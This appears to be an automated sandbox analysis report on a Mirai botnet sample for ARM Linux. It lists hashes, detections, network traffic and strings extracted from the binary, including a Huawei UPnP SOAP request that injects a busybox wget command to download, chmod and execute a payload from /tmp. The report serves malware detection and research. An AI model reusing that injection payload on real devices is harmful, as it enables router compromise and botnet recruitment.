Linux Analysis Report
nsharm6.elf

Overview

General Information

Sample name: nsharm6.elf
Analysis ID: 1540998
MD5: c0a5405e8abdd09b6e3cc611bec03eec
SHA1: a0883172415779035033477309ec45d3ea0a4372
SHA256: c4d1c3fb3c454c014ae51141cb250595882b9c247862cd72ee1b94189bf144dd
Tags: elfMiraiuser-abuse_ch
Infos:

Detection

Mirai
Score: 72
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: nsharm6.elf Avira: detected
Source: nsharm6.elf ReversingLabs: Detection: 65%
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: nsharm6.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: nsharm6.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal72.troj.linELF@0/0@0/0
Source: /tmp/nsharm6.elf (PID: 6215) Queries kernel information via 'uname': Jump to behavior
Source: nsharm6.elf, 6215.1.000055ccfe485000.000055ccfe5b3000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nsharm6.elf, 6215.1.00007ffc2e7e4000.00007ffc2e805000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/nsharm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nsharm6.elf
Source: nsharm6.elf, 6215.1.000055ccfe485000.000055ccfe5b3000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: nsharm6.elf, 6215.1.00007ffc2e7e4000.00007ffc2e805000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: nsharm6.elf, 6215.1.00007ffc2e7e4000.00007ffc2e805000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

barindex
Source: Yara match File source: nsharm6.elf, type: SAMPLE
Source: Yara match File source: 6215.1.00007fa2a4017000.00007fa2a402b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: nsharm6.elf PID: 6215, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: nsharm6.elf, type: SAMPLE
Source: Yara match File source: 6215.1.00007fa2a4017000.00007fa2a402b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: nsharm6.elf PID: 6215, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs